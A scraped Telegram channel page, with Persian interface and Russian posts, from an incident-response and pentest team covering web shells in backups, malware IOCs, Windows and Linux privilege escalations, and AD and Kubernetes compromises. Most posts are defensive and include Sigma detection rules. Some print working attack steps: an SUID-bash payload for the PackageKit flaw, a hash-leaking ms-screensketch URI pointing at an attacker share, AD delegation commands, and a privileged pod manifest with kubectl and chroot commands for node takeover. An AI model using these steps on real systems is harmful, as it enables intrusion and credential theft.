اکنون در دسترس! پژوهش تلگرام ۲۰۲۵ — مهمترین بینشهای سال 
purple shift
رفتن به کانال در Telegram
Фиолетовый сдвиг - для тех, у кого происходят инциденты. Наш сайт: https://purpleshift.io
نمایش بیشتر2 861
مشترکین
-124 ساعت
+157 روز
+5230 روز
در حال بارگیری داده...
کانالهای مشابه
ابر برچسبها
اشارات ورودی و خروجی
---
---
---
---
---
---
جذب مشترکین
ژوئن '26
ژوئن '26
+78
در 3 کانالها
مه '26
+91
در 2 کانالها
Get PRO
آوریل '26
+136
در 5 کانالها
Get PRO
مارس '26
+82
در 5 کانالها
Get PRO
فوریه '26
+90
در 2 کانالها
Get PRO
ژانویه '26
+48
در 2 کانالها
Get PRO
دسامبر '25
+164
در 3 کانالها
Get PRO
نوامبر '25
+71
در 1 کانالها
Get PRO
اکتبر '25
+76
در 3 کانالها
Get PRO
سپتامبر '25
+150
در 6 کانالها
Get PRO
اوت '25
+80
در 0 کانالها
Get PRO
ژوئیه '25
+94
در 2 کانالها
Get PRO
ژوئن '25
+71
در 1 کانالها
Get PRO
مه '25
+84
در 2 کانالها
Get PRO
آوریل '25
+50
در 0 کانالها
Get PRO
مارس '25
+45
در 2 کانالها
Get PRO
فوریه '25
+79
در 1 کانالها
Get PRO
ژانویه '25
+50
در 1 کانالها
Get PRO
دسامبر '24
+113
در 4 کانالها
Get PRO
نوامبر '24
+115
در 2 کانالها
Get PRO
اکتبر '24
+139
در 3 کانالها
Get PRO
سپتامبر '24
+226
در 4 کانالها
Get PRO
اوت '24
+206
در 6 کانالها
Get PRO
ژوئیه '24
+65
در 2 کانالها
Get PRO
ژوئن '24
+82
در 2 کانالها
Get PRO
مه '24
+686
در 4 کانالها
Get PRO
آوریل '240
در 4 کانالها
Get PRO
مارس '24
+98
در 2 کانالها
| تاریخ | رشد مشترکین | اشارات | کانالها | |
| 27 ژوئن | +1 | |||
| 26 ژوئن | +1 | |||
| 25 ژوئن | +10 | |||
| 24 ژوئن | +9 | |||
| 23 ژوئن | 0 | |||
| 22 ژوئن | +2 | |||
| 21 ژوئن | +1 | |||
| 20 ژوئن | +3 | |||
| 19 ژوئن | +7 | |||
| 18 ژوئن | +12 | |||
| 17 ژوئن | +2 | |||
| 16 ژوئن | 0 | |||
| 15 ژوئن | +2 | |||
| 14 ژوئن | 0 | |||
| 13 ژوئن | +1 | |||
| 12 ژوئن | +2 | |||
| 11 ژوئن | +1 | |||
| 10 ژوئن | 0 | |||
| 09 ژوئن | +4 | |||
| 08 ژوئن | +4 | |||
| 07 ژوئن | 0 | |||
| 06 ژوئن | +3 | |||
| 05 ژوئن | +2 | |||
| 04 ژوئن | +4 | |||
| 03 ژوئن | +3 | |||
| 02 ژوئن | +4 | |||
| 01 ژوئن | 0 |
پستهای کانال
В конце 2024 года мы опубликовали топ-5 самых популярных ошибок при реагировании на инциденты. Третьим номером там стояло «поспешное восстановление из бэкапов» — если резервная копия была заражена, при восстановлении вы рискуете повторить инцидент (например, вас снова зашифруют).
Теперь у нас есть некоторые цифры, чтобы подтвердить популярность этой ошибки — поскольку эксперты нашего сервиса по оценке компрометации (Compromise Assessment) подготовили аналитический отчёт о пропущенных инцидентах, которые выявлены в 2025 году после обращений в этот сервис.
Одна из самых частых угроз, найденных таким способом — это скрытые веб-шеллы: они встречались в 8% проектов по оценке компрометации. При этом 64% инцидентов с веб-шеллами были отнесены к категории высокой критичности.
А закрепление веб-шеллов в системе часто происходит через бэкапы: согласно отчёту, 60% веб-шеллов было обнаружено в активных системах, а 40% находились в резервных копиях и оставались незамеченными до проведения полноценной проверки. Понятно, к чему может привести восстановление таких копий.
Распространенная проблема, помогающая скрывать угрозу — недочеты в инвентаризации активов (найдено в 25% проектов). Злоумышленники могут внедрять веб-шеллы на облачные серверы, которые не отражаются в инвентарных списках, но при этом с них регулярно делаются резервные копии. Веб-шелл может длительное время оставаться на таком сервере, и даже если он будет в какой-то момент удален, сервер резервного копирования позднее восстановит зараженные файлы.
В одном случае веб-шелл был скрыт на внутреннем файловом сервере внутри RAR-архива по следующему пути:
D:\backup\[СКРЫТО].rar/wwwroot/<…>/[СКРЫТО].aspxВ ходе расследования админы сервера сообщили, что папка была скопирована с другого сервера, который был отключен на момент проведения проверки. Из-за неполной инвентаризации активов штатная команда безопасности не обнаружила заражение отключенной машины, а после выполнения процедур резервного копирования веб-шелл оказался на внутреннем файловом сервере. Криминалистический анализ отключенного сервера показал, что злоумышленникам удалось внедрить бэкдор на большинстве Windows-серверов в этой организации, настроив на них учетные записи локального администратора с одинаковым паролем. С помощью утилиты PsExec злоумышленники выполнили CMD-скрипт, который на всех этих серверах изменял пароль учетной записи локального админа на свой (см. скриншот выше). Другие примеры незаметных инцидентов, а также рекомендации по их выявлению и предотвращению, будут представлены на вебинаре Missed Incidents: Compromise Assessment Insights, который проведут наши эксперты Виктор Сергеев и Амжед Ваги 2 июля в 17 часов МСК на платформе Brighttalk: https://www.brighttalk.com/webcast/15591/669960
| 2 |  Сегодня снова поговорим про атаку NTLM Reflection на основе уязвимости CVE-2025-33073, которая позволяет удалённому пользователю без авторизации выполнять на атакованной машине любые команды с привилегиями SYSTEM. Однажды мы уже рассказывали, как детектировать подобные атаки. А теперь покажем, как можно использовать один частный случай такой атаки в пентестах.
Обычно все Relay-атаки связаны только с хостами и сервисами в домене Active Directory. Ведь если хост не в домене, то у него нет учетных данных, а пользователи — локальные. При попытке coerce-атаки в Responder мы не увидим ничего, а в ntlmrelayx.py — сообщение вроде:
Authenticating against smb://172.16.128.143 as / FAILED
Но ситуация на одном недавнем проекте по анализу защищённости подтолкнула нас к мысли, что NTLM Reflection может быть способом скомпрометировать недоменный Windows-хост при определенных условиях:
1. Не установлен патч, закрывающий эту уязвимость.
2. Не требуется обязательная подпись SMB.
3. Есть возможность добавить или заспуфить необходимую для атаки DNS-запись (например, localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA). Зачастую в качестве DNS-серверов во всей инфраструктуре используются контроллеры домена. По умолчанию, имея любую учетную запись, можно добавить нужную A-запись. Если же хост атакующего находится в одном L2-сегменте сети с уязвимым хостом, то можно попробовать LLMNR/NBNS/mDNS spoofing (как на скриншоте выше), атаку на IPv6 с подменой DNS.
4. Возможность стригерить аутентификацию от имени системы. Например, есть анонимный PetitPotam или есть непривилегированная учетная запись.
Хоть условий и много, они выполнимы — и в этом случае NTLM Reflection может помочь получить доступ к хосту вне домена. | 980 |
| 3 | Наши эксперты заметили, что с начала 2026 года группировка VasyGrek (Fluffy Wolf) расширила географию своих жертв — теперь она атакует не только российские организации. Обновился и арсенал: в новых атаках засветились .vbs-дроппер и .com-стилер, написанный на Rust.
Атака VasyGrek обычно начинается с письма, содержащего вредоносный файл либо ссылку. Дальше реализуется цепочка заражения в двух вариантах:
1) Обфусцированный .vbs/.bat-дроппер проверяет имя хоста, а затем скрытно запускает закодированный в Base64 вредоносный PowerShell-скрипт. Тот скачивает нагрузку с легитимных хостингов (pastefy.app, yaso.su, Supabase Storage), загружает .NET-сборку в память и внедряет её в доверенный системный процесс RegAsm.exe — без записи на диск.
2) Написанный на Rust .scr/.com-дроппер бэкдора PureRAT. При установке копирует себя в каталоги %APPDATA% либо %LOCALAPPDATA% и закрепляется в автозагрузке через реестр посредством модификации ветки HKCU\..\Run\ либо через планировщик задач (с использованием утилиты schtasks.exe либо командлета PowerShell Register-ScheduledTask). После закрепления бэкдор связывается с C2 для получения дальнейших инструкций (например, сбор конфиденциальных данных).
Как ловить атаку
Рекомендуем использовать индикаторы компрометации, которые перечислены ниже.
Архивы:
f681a2e311d2a0063a76c6af38082d01 doc_10022026_buh_1c.rar
f1298bcd8a7537be8c9a63a0df264b5c doc_23012026_1c_scan.rar
8130ad8c9b9c1022c7e966d4bde76b4f doc_03_02_2026_buh.rar
11d7b50333c37b7d6e7ccf373ba77505 doc_1c_buh5gr6gss3s3fv.rar
1511effebb7df8a2e5b3a741b106b59a акт сверки.rar
96b685a02c9bdaac285db9fe2b53a2d6 akt_sverki_1c.rar
611522aec29be78d9dafa4b59bf05a20 doc_05032026.rar
.bat-дропперы:
ccff0d0751956a32a5a2fbf13d3aeca0 1C_Doc_kopiya_6rf56rwergsw3frefrsw3_PDF.bat
4af7f1f3cbbef1a1313077d336399245 akt_sverki_04022026_buh_5fegrf6dsfvsffwffs_pdf.bat
9c67e8b55cb0f31270201efdb253ca8f doc_28012026_buh_ff56fdfdf6dfdfd_pdf.bat
7b82065f2017d60e6bfc1f0ed17cd2f9 doc_23012026_skrinshot_1C.bat
f228557b220276a5970246192991b315 aktsverki_1c_buh_pdf.bat
.vbs-дропперы:
11d7b50333c37b7d6e7ccf373ba77505 doc_1c_buh5gr6gss3s3f
.scr-дропперы на RUST:
c1d5a11476ccfeb6a6c2a8de41241d4c buh_1c_10022026_akt_sverki_ferr6rr66fe6efe6fef.scr
3d8fc69b17562108653a6d479cdc0278 doc_23012026_1c_scan.scr
d5732efd1103b6d3990a0bd865d7580d 17.03.2026_doc_pdf.scr
4d8e11ce449a8f51a7007da24f9c5eea doc_05032026_1C_buhrg56svr6v2r66sfsf3sf_PDF.scr
.com-дропперы на RUST:
c9e1f8b2d3e61bbda7d514a38f668c72 платежное поручение от 19.03.2026_pdf.com
48e6c3762469c0111a246c8d88b9b9b8 doc_buh_1C_akt_sverki_06032026_PDF.com
02baba775abf19be98776a86cb746eb2 doc_05032026_1C_akt_sverki_PDF.com
.com-стилер на RUST:
c0d909ecd9fdd83c14e4067654c42d8b akt_sverki_1c_buh_ef4ef6r6gege5gsfeergerge.com`
Domains:
supabase[.]co
modaaura[.]store
URLs:
pastefy[.]app/RoBl0TEe/raw
pastefy[.]app/3ocDEoXR/raw
pastefy[.]app/sLC7Jpkp/raw
yaso[.]su/raw/NNLwEwCU
modaaura[.]store/image.jpg?12711343
pixeldrain[.]com/api/file/Wm3ZnAJr
tzqfbgbyyatqtmhbqbzw.supabase[.]co/storage/v1/object/public/17032026/VC17032026upload.txt
wkhayejmdnobpaoaeim.supabase[.]co/storage/1/object/public/hfgfjjj/image.jpg?12711343
qruqdtwlkhwaztnfrkbq.supabase[.]co/storage/v1/object/public/26012026/stl26012026upload.txt
firebasestorage.googleapis[.]com/v0/b/remasd-6c702.firebasestorage.app/o/image.jpg?al=media&token=20664d8b-9f51-4fc0-8439-3cca14ea7fc4
firebasestorage.googleapis[.]com/v0/b/remasd-6c702.firebasestorage.app/o/image.jpg?alt=media&token=b9d8bf3e-b1eb-4c56-9434-d4af570d4a91
raw.githubusercontent[.]com/sergo20261/proxihost/refs/heads/main/stl28012026upload.txt
au72nuxzv2.ufs[.]sh/f/4LhV5B1sDCwIrgzpCwYKXE4gwWVSzU8Dck1rs5tJYqhnmpx6
raw.githubusercontent[.]com/novichkova0976/buhgalteriya/refs/heads/main/akt_sverki_06032026.rar | 2 712 |
| 4 | Техника подмены Network Provider DLL (T1556.008) используется злоумышленниками уже много лет, но до сих пор не потеряла актуальности. Совсем недавно, в мае этого года, команда Microsoft Incident Response опубликовала расследование инцидента, в котором атакующие применяли эту технику для кражи учётных данных; при этом использование легитимного ПО позволяло им долгое время оставаться незамеченными.
Суть атаки:
Network Provider DLL — это динамическая библиотека в Windows, которая позволяет ОС взаимодействовать с конкретными сетевыми протоколами. Она реализует набор функций (Network Provider API), которые использует Multiple Provider Router (MPR) для связи с разными сетями.
Компоненты данного типа автоматически загружаются при входе пользователя в систему и участвуют в процессах сетевой аутентификации, восстановления сетевых ресурсов и обработки учетных данных, что делает механизм привлекательным для persistence.
Злоумышленники могут зарегистрировать вредоносный Network Provider DLL, модифицировав ключ реестра:
HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order
Параметр ProviderOrder не хранит путь к DLL и не содержит информацию о модуле — он представляет собой только список имён провайдеров, которые Windows должна инициализировать через механизм MPR. Например:
ProviderOrder = LanmanWorkstation,RDPNP,webclient,EvilProvider
В этом случае Windows будет воспринимать EvilProvider как нового провайдера и попытается найти его описание:
HKLM\SYSTEM\CurrentControlSet\Services\EvilProvider\NetworkProvider
Из данного раздела система получает путь к библиотеке через параметр ProviderPath. Например:
ProviderPath = C:\ProgramData\evilprov.dll
После регистрации Windows начинает обращаться к этой DLL как к обычному провайдеру и автоматически загружает эту библиотеку при входе пользователя. При этом Windows не проверяет, является ли провайдер системным: механизм загружает все компоненты, перечисленные в ProviderOrder.
Как ловить атаку:
Детектируем изменения в ProviderOrder или создание ProviderPath для любого Network Provider, кроме штатных (LanmanWorkstation, RDPNP, webclient). Пример правила детектирования:
logsource:
product: windows
category: registry_event
detection:
Selection_order:
TargetObject|contains:
- '\Control\NetworkProvider\Order\ProviderOrder'
selection_provider:
TargetObject|contains:
- '\Services\'
- '\NetworkProvider'
- '\ProviderPath'
filter_main_system:
Details|contains:
- 'LanmanWorkstation'
- 'RDPNP'
- 'webclient'
condition: (selection_order or selection_provider) and not filter_main_system | 1 322 |
| 5 |  Pack2TheRoot (CVE-2026-41651) — локальное повышение привилегий в Linux-системах через TOCTOU-уязвимость в сервисе PackageKit. Этот сервис предоставляет унифицированный интерфейс для установки и удаления пакетов через D-Bus и выступает прослойкой между пользовательскими приложениями и пакетным менеджером дистрибутива (APT, RPM и др.). Все операции выполняются привилегированным сервисом packagekitd от имени root.
Для взаимодействия с PackageKit эксплойт использует D-Bus API библиотеки GLib, в частности метод InstallFiles(), предназначенный для установки локальных deb/rpm-пакетов. Метод принимает набор флагов транзакции, определяющих её поведение. Часть флагов считается безопасной и может использоваться без полноценной авторизации. Например, флаг simulate выполняет только проверку зависимостей и не приводит к фактической установке ПО.
Уязвимость связана с обработкой уже созданной транзакции. После первоначальной проверки безопасности PackageKit помечает транзакцию как безопасную, однако при последующем изменении её параметров повторная проверка не выполняется. Это создаёт TOCTOU condition: транзакция, созданная с флагом simulate, может быть изменена на полноценную установку пакета с флагом none, при этом PackageKit считает авторизацию уже пройденной.
PoC создаёт два локальных пакета: dummy-пакет и payload-пакет. Первый используется для прохождения проверки безопасности в режиме simulate. Второй содержит postinst payload, выполняемый в контексте packagekitd. В опубликованном PoC используется команда
install -m 4755 /bin/bash /tmp/.suid_bash
которая создаёт SUID-копию bash. После этого атакующий может получить root-доступ через запуск bash с аргументом -p.
Для эксплутации необходимо создать две транзакции через g_dbus_connection_call(). Первая вызывает InstallFiles() для dummy-пакета с флагом simulate (g_variant_new("(u^as)", 4, ...)). Вторая сразу переиспользует тот же объект транзакции, подменяя пакет на payload и устанавливая флаг полноценной установки (g_variant_new("(u^as)", 0, ...)). После вызова g_dbus_connection_flush_sync() обе операции попадают в очередь обработки почти одновременно.
В результате PackageKit выполняет установку второго пакета от имени root, несмотря на то, что авторизация была получена только для безопасной операции. Backend пакетного менеджера (dpkg/rpm) запускает postinst/preinst-скрипты payload-пакета с привилегиями root.
В Debian/Ubuntu это выглядит как:
/bin/sh /var/lib/dpkg/info/<package>.postinst configure
В RPM-системах:
/bin/sh /var/tmp/rpm-tmp.*
Постэксплуатация зависит от содержимого скрипта установки. Помимо создания SUID-shell могут использоваться: модификация /etc/shadow, добавление SSH-ключей, создание systemd unit-файлов, изменение PAM-конфигурации и другие механизмы закрепления.
Как защищаться:
Если нет возможности обновить PackageKit до пропатченной версии, детектируйте атаку по обращениям к PackageKit/GLib API или по цепочке процессов пакетного менеджера.
Для Debian-based систем индикатором может быть запуск postinst/preinst-скриптов из /var/lib/dpkg/info/ с последующим вызовом chmod или install, выставляющими SUID/SGID-биты.
Для RPM-based систем аналогичным индикатором является запуск временных скриптов /var/tmp/rpm-tmp.*.
Также полезно отслеживать инициаторов обращений к dpkg/rpm. Подозрительной может быть активность процессов dpkg-deb и rpmbuild, запущенных не через стандартные средства управления пакетами (apt, apt-get, dpkg, rpm, dnf, yum, zypper, mock, koji).
Дополнительным IoC могут выступать журнальные записи PackageKit о неуспешной аутентификации, возникающие в процессе эксплуатации уязвимости:
May 23 13:00:00 hostname PackageKit[PID]: uid 1000 is trying to obtain org.freedesktop.packagekit.package-install-untrusted auth (only_trusted:0)
May 23 13:00:01 hostname PackageKit[PID]: uid 1000 failed to obtain auth | 1 659 |
| 6 |  Одна из главных тем в ИБ-новостях последних дней — противостояние корпорации Microsoft и анонимного исследователя Nightmare Eclipse, который за два месяца опубликовал уже шесть серьёзных эксплойтов для Windows. Самый неприятный из них — MiniPlasma — с апреля используется в реальных атаках. Официального патча пока нет.
Как это работает:
Эксплоит основан на CVE-2020-17103 — уязвимости локального повышения привилегий в драйвере Windows Cloud Files Mini Filter Driver (cldflt.sys). Уязвимость была обнаружена ещё в 2020 году, и считалась уже закрытой. Однако Nightmare Eclipse показал, что она работает до сих пор, позволяя локальному пользователю поднять права до SYSTEM.
cldflt.sys — это системный драйвер, который реализует Cloud Files API (CFAPI) и используется для работы placeholder-файлов и механизмов синхронизации, включая OneDrive Files On-Demand.
Для взаимодействия с драйвером эксплойт использует недокументированный API CfAbortHydration, предназначенный для прерывания проверки облачного файла. Этот API, в свою очередь, вызывает внутреннюю функцию драйвера cldflt!HsmOsBlockPlaceholderAccess, которая по своей логике должна блокировать доступ к облачному файлу путём создания соответствующего служебного ключа в реестре.
Функция HsmOsBlockPlaceholderAccess выполняется в контексте привилегированного драйвера, но не проверяет, имеет ли вызывающий процесс права на запись в целевую ветку реестра. В результате эксплойт получает возможность создать произвольный ключ реестра в системной области HKEY_USERS\.DEFAULT, куда обычный пользователь не имеет доступа на запись.
MiniPlasma создаёт в ветке HKU\.DEFAULT\Software\Policies\Microsoft\CloudFiles\BlockedApps не обычный ключ, а символическую ссылку (registry symbolic link). Эта ссылка перенаправляет на другую область реестра — \Registry\User\.DEFAULT\Volatile Environment, которая содержит временные переменные окружения для системного профиля.
Через созданную символическую ссылку эксплойт изменяет значение переменной windir в Volatile Environment с C:\Windows на путь, контролируемый атакующим, например C:\Users\Public\FakeSystem (текущая директория + system32\wermgr.exe). В указанную атакующим директорию предварительно помещается поддельный исполняемый файл wermgr.exe.
Далее эксплойт обращается к планировщику задач Windows и активирует встроенную задачу \Microsoft\Windows\Windows Error Reporting\QueueReporting. Эта задача настроена на запуск с правами SYSTEM и по умолчанию выполняет команду %windir%\system32\wermgr.exe.
Благодаря ранее изменённой переменной windir система подставляет подконтрольный атакующему путь, и вместо легитимного системного файла запускается поддельный wermgr.exe — но уже с привилегиями NT AUTHORITY\SYSTEM (см. скриншот выше).
Как детектировать атаку:
1. Отслеживайте создание SymbolLinks в ветке HKU\.DEFAULT\Software\Policies\Microsoft\CloudFiles\BlockedApps:
category: registry_set
product: windows
detection:
selection:
TargetObject|contains: 'Policies\Microsoft\CloudFiles\BlockedApps'
Details: 'SymbolicLinkValue'
condition: selection
2. Отслеживайте появление wermgr.exe вне стандартных путей:
category: process_creation
product: windows
detection:
selection:
TargetFilename|endswith: '\wermgr.exe'
filter_system_locations:
TargetFilename|startswith:
- 'C:\Windows\System32\'
- 'C:\Windows\SysWOW64\'
- 'C:\Windows\WinSxS\'
- 'C:\Windows\servicing\'
- 'C:\$WINDOWS.~BT\'
- 'C:\Windows\SoftwareDistribution\'
condition: selection and not filter_system_locations
3. Отслеживайте запуск системных бинарников или их имитаций из нестандартных директорий. | 2 019 |
| 7 |  На днях наши эксперты поучаствовали в одной скромной, зато очень неформальной ИБ-конференции под названием ЁPRSTCON.
Основной темой выступлений технического трека стали проблемы информационной безопасности в эпоху всеобщего помешательства на AI. Но были доклады и на другие интересные темы. Например, о том,
— почему до сих пор можно делать RCE через умерший IE,
— откуда в RDP-логах мистический артефакт ::%16777216,
— зачем нужно писать собственный сканер уязвимостей,
— как устроены хакерские сообщества в разных странах,
— как реверсить микроконтроллеры AVR.
Поддерживая дух этой неформальной тусовки, мы не будем назвать имена крутых докладчиков и их компании, а просто дадим вам главную ссылку — где можно посмотреть видеозаписи всех технических докладов, с текстовыми транскриптами и слайдами:
https://www.yoprstcon.ru/articles_manual_locB_html/
А ещё на конференции был гуманитарный трек — там рассказывали, как искусственный интеллект вытесняет музыкантов и писателей, какие психозы возникают от долгого общения с LLM-агентами, и каким методам родительской заботы можно поучиться у африканских лягушек. Записи гуманитарных докладов здесь:
https://www.yoprstcon.ru/articles_manual_locA_html/ | 2 257 |
| 8 | Microsoft Configuration Manager (SCCM) — это не просто инструмент установки обновлений. Это платформа управления информационной инфраструктурой предприятия в самом широком смысле: здесь и хранилище учётных данных, и возможность централизованного исполнения кода на тысячах устройств одновременно.
Поэтому, будучи взят под контроль злоумышленниками, SCCM превращается в настоящий C2 для дальнейших атак на инфраструктуру. При этом повышение привилегий на SCCM зачастую не ловится традиционным средствами защиты от вредоносного ПО.
Например, логическая уязвимость CVE-2025-47179 позволяет получить полный контроль над SCCM, не используя переполнения буфера, инъекции или обхода аутентификации. SCCM в этом случае работает строго по правилам, которые в него заложили. Просто задокументированное назначение роли и её фактические полномочия противоречат друг другу.
Наши эксперты предлагают выявлять такие атаки с помощью инструмента SCCMInfo, который реализует мониторинг SCCM-сервера через подписку на события WMI. В частности, при эксплуатации уязвимости CVE-2025-47179 инструмент покажет такие события, как создание неизвестным пользователем с ограниченной ролью (CMPivot Administrator) новой записи об административном пользователе и назначение ему роли Full Administrator.
Утилита SCCMInfo отслеживает и несколько других классов WMI-событий, которые могут быть признаками атаки, хотя выглядят как легитимное действие в рамках штатной работы SCCM — поэтому такие атаки не детектируются традиционными средствами защиты.
Подробности — в статье Александра Родченко и Глеба Иванова "Ролевые игры: когда SCCM превращается в С2". | 1 944 |
| 9 | Сегодня расскажем ещё одну поучительную историю из практики наших пентестов.
Однажды на проекте мы сами себе создали задачу: у нас было RCE от SYSTEM на контроллере домена, но мы не хотели создавать новые учетные записи или добавлять существующие в администраторы домена. А получить привилегии админа было нужно. Мы придумали несколько решений, и хотя не все они сработали, это был интересный опыт.
Условия задачи:
— Есть исполнение на доменном хосте от SYSTEM и NT-хеш пароля этого хоста.
— Есть привилегии администратора домена в корневом домене в другом лесу AD (двухстороние трасты).
— Есть RCE на контроллере домена (уязвимость в Veritas Backup Exec Agent). Не очень удобно исполнять команды (нет вывода), но можно читать и записывать файлы, запись через экплойт очень медленная.
— Есть возможность подключения по SSH на linux-хост (без root-а).
— Настрой на то, что чем меньше изменений и чем меньше придется чистить затем заказчику, тем лучше.
Варианты решения:
1. Запустить агента Mythic
— c SYSVOL на контроллере домена в другом лесу. Результат: ошибка Access Denied.
— загрузить файл с агентом Mythic через эксплойт. Результат: запустить удалось, но правила файрвола не позволили установить ни bind, ни реверс-соединение.
2. Получить сертификат
— выгрузить сертификат с приватным ключом из хранилища (командлеты Get-ChildItem -Path Cert:\CurrentUser\My\ для получения списка и Export-PfxCertificate для экспорта). Результат: не было сертификатов, для которых разрешен экспорт приватного ключа.
— запросить новый сертификат. Результат: проанализировали шаблоны сертификатов и не нашли такого, чтобы контроллер мог запросить сертификат, использовать его для аутентификации и с возможностью экспорта приватного ключа.
3. Unconstrained delegation
Так как уже были привилегии админа домена в другом лесу, а для контроллеров домена настроено неограниченное делегирование, можно было бы попробовать. Но в trustAttributes не было флага, разрешающего делегирование. Так что даже не пробовали.
4. Прочитать пароль LAPS
Некоторые учетные записи компьютеров имели много привилегий (например, Exchange-сервера или центр сертификации) и получение привилегий админов на этих хостах могло бы помочь продвинуться дальше. Но модули с командлетами Get-LapsADPassword и Get-AdmPwdPassword не были установлены.
5. Релеи
Это была скоре абстрактная идея. Linux-хостов с root-ом не было, и освобождать 445 порт на доменном хосте не хотелось. А служба WebClient для коерса на другой порт на контроллере не была установлена. Кроме того, на LDAP требовалась подпись, а шаблонов сертификатов, подходящих для ESC8, не было.
6. Сохранить учетные данные из реестра
С помощью reg save или Silent Harvester можно было получить учетные данные из реестра. Получили бы NT-хеш контроллера домена и могли бы сделать DCSync. Но пришлось бы сохранять файлы в SYSVOL, чтобы получить к ним доступ с имеющейся учеткой.
7. Resource-based Constrained Delegation
Так как у нас была скомпрометированная учетная запись хоста (её NT-хеш), удалось провести атаку на ограниченное делегирование на основе ресурсов. Модифицировать msDS-AllowedToActOnBehalfOfOtherIdentity учетной записи контроллера:
Set-ADComputer -Identity DC_Name -Properties PrincipalsAllowedToDelegateToAccount owned$
И затем сгенерировать TGS с имперсонацией учетной записи администратора домена или другого контроллера домена. Результат: успех.
8. Rubeus и т.п.
Можно было бы загрузить на контроллер Rubeus или другие утилиты для дампа Kerberos-билетов, но после проверки идеи (1) мы поняли, что загрузить файл будет непросто.
Мораль:
Даже очень простая (на первый взгляд) задача "от RCE на контроллере до администратора домена" может иметь множество решений, если не пойти по первому пришедшему на ум пути. | 2 288 |
| 10 |  Snipping Tool, или просто "Ножницы" — популярный инструмент Windows для работы со скриншотами. Но благодаря появлению PoC к уязвимости CVE-2026-33829, этот же инструмент позволяет похищать NetNTLM-хэши пользователей. Правда, для этого всё ещё нужен клик жертвы.
Суть атаки:
Приложение регистрирует кастомную URI-схему ms-screensketch. Она нужна, чтобы из браузера или другого приложения открыть скриншот на редактирование. Проблема в параметре filePath. Если указать там путь до сетевого ресурса, например \\attacker\share\img.png, то Snipping Tool попытается сделать запрос к удаленному каталогу. А заодно отправит NetNTLM-хэш текущего пользователя на сервер атакующего.
Выглядит это примерно так:
ms-screensketch:edit?&filePath=\\192.168.100.10\snip\Imgur.png&isTemporary=false&saved=true&source=Toast
Теперь достаточно заманить пользователя на страницу с таким iframe или редиректом. Когда жертва соглашается с открытием картинки через Snipping Tool, открывается знакомый инструмент для обрезки картинок. А в фоне в это время утекает NetNTLM-хэш.
При этом утечка происходит не только на внутренние адреса, но и на внешние. А также не только через SMB, но и через WebDAV (см. скриншоты выше). Это делает сценарий атаки заметно гибче. В инфраструктурах, где SMB на публичные адреса фильтруется, WebDAV вполне может пройти через прокси или разрешённые HTTP-маршруты.
Как детектить:
Отличительной особенностью здесь будет выступать запуск SnippingTool.exe c параметром filePath, который начинается с двойного обратного слэша \\ или с его URL-кодированной версии %5C%5C:
"C:\Program Files\WindowsApps\Microsoft.ScreenSketch_11.2502.18.0_x64__8wekyb3d8bbwe\SnippingTool\SnippingTool.exe" ms-screensketch:edit?&filePath=%5C%5C192.168.100.10%5Csnip%5CImgur.png&isTemporary=false&saved=true&source=Toast
Также триггером могут стать исходящие SMB-запросы (445 порт) с хоста на внешние IP или на внутренние узлы, не являющиеся файловыми серверами домена.
Как защищаться:
Патч KB из апрельского апдейта Windows уже закрывает дыру. Если по какой-то причине обновить конкретную машину прямо сейчас нельзя, то есть смысл заблокировать схему ms-screensketch через GPO.
В качестве общих рекомендаций стоит упомянуть, что большинство приложений для взаимодействия с WebDAV-серверами используют системный сервис WebClient. Поэтому стоит обращать внимание на внешние соединения, инициированные через C:\WINDOWS\system32\svchost.exe -k LocalService -p -s WebClient, содержащие в user-agent параметр Microsoft-WebDAV-MiniRedir/* и метод обращения PROPFIND. Однако этот индикатор может быть шумным.
Также стоит рассмотреть возможность ограничения исходящего NTLM-трафика политикой: Computer Configuration > Administrative Templates > System > Net Logon > Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers. | 1 775 |
| 11 | Мы уже рассказывали, как наши пентестеры находят и анализируют кластеры Kubernetes. А сегодня — история о том, какие интересные доступы можно получить через такие кластеры.
На одном из проектов после попадания во внутреннюю сеть мы обнаружили хост, у которого для сервиса на порту 443/TCP используется сертификат с common name: system:kube-apiserver. Похоже, это нода кластера Kubernetes c Kubernetes API?
К нашему удивлению, API было доступно без аутентификации (проверяли только GET-запросы). Мы смогли получить данные о неймспейсах, подах и, что самое интересное, секретах. Сделали вывод, что это тестовый кластер Kubernetes. Но мы решили, что он все равно достоин внимания:
proxychains4 curl -vk https://<ip_address>/api/v1/namespaces
proxychains4 curl -vk https://<ip_address>/api/v1/nodes
proxychains4 curl -vk https://<ip_address>/api/v1/pods
proxychains4 curl -vk https://<ip_address>/api/v1/secrets
Из секретов мы получили токены 31 сервисной учётной записи (да, без аутентификации). Изучили привилегии этих учёток (объекты clusterrolebinding и clusterrole) и обнаружили, что с их использованием можно выполнять любые действия по управлению кластером, включая изменение ролей сервисных учетных записей, создание подов и исполнение команд в подах.
Чтобы получить возможность исполнения команд на ноде, создали под с такой конфигурацией (контейнеры в кластере использовали образы из локального docker registry, так что в конфигурации мы указали один из используемых образов):
apiVersion: v1
kind: Pod
metadata:
creationTimestamp: null
labels:
run: <my-pod>
name: <my-pod>
spec:
volumes:
- name: host-filesystem
hostPath:
path: /
containers:
- command:
- sleep
- 2d
image: <link_to_image>
name: <my-pod>
volumeMounts:
- mountPath: /mnt/
name: host-filesystem
resources: {}
securityContext:
privileged: true
runAsUser: 0
dnsPolicy: ClusterFirst
restartPolicy: Always
nodeName: <node_name>
hostNetwork: true
hostPID: true
hostIPC: true
status: {}
Команда для создания пода:
HTTPS_PROXY=socks5://127.0.0.1:1080 kubectl --server=https://<ip_address>:443 --insecure-skip-tls-verify=true --token <token> create -f <pod.yml>
После создания пода запустили bash и изменили корневую директорию на корневую директорию ноды:
HTTPS_PROXY=socks5://127.0.0.1:1080 kubectl --server=https://<ip_address>:443 --insecure-skip-tls-verify=true --token <token> exec -it <my-pod> -- bash
chroot /mnt
Так мы получили рутовый доступ на ноде (для закрепления можно было положить ключ в authorized_keys). В кластере было четыре ноды, поэтому было создано четыре пода с разными nodeName для исполнения на каждой ноде.
После получения привилегированного доступа на одной из нод в файле /opt/some-service/config.yaml была обнаружена ссылка на файл в репозитории:
https://bitbucket.domain.local/projects/SERVICE/repos/service-back/browse/some/dir/config.java
А в директории /home/some-user/.ssh/ был обнаружен файл с приватным SSH-ключом identity.bitbucket.domain.local. Мы склонировали этот репозиторий и поискали в нем упоминания других. Нашлось 89 репозиториев.
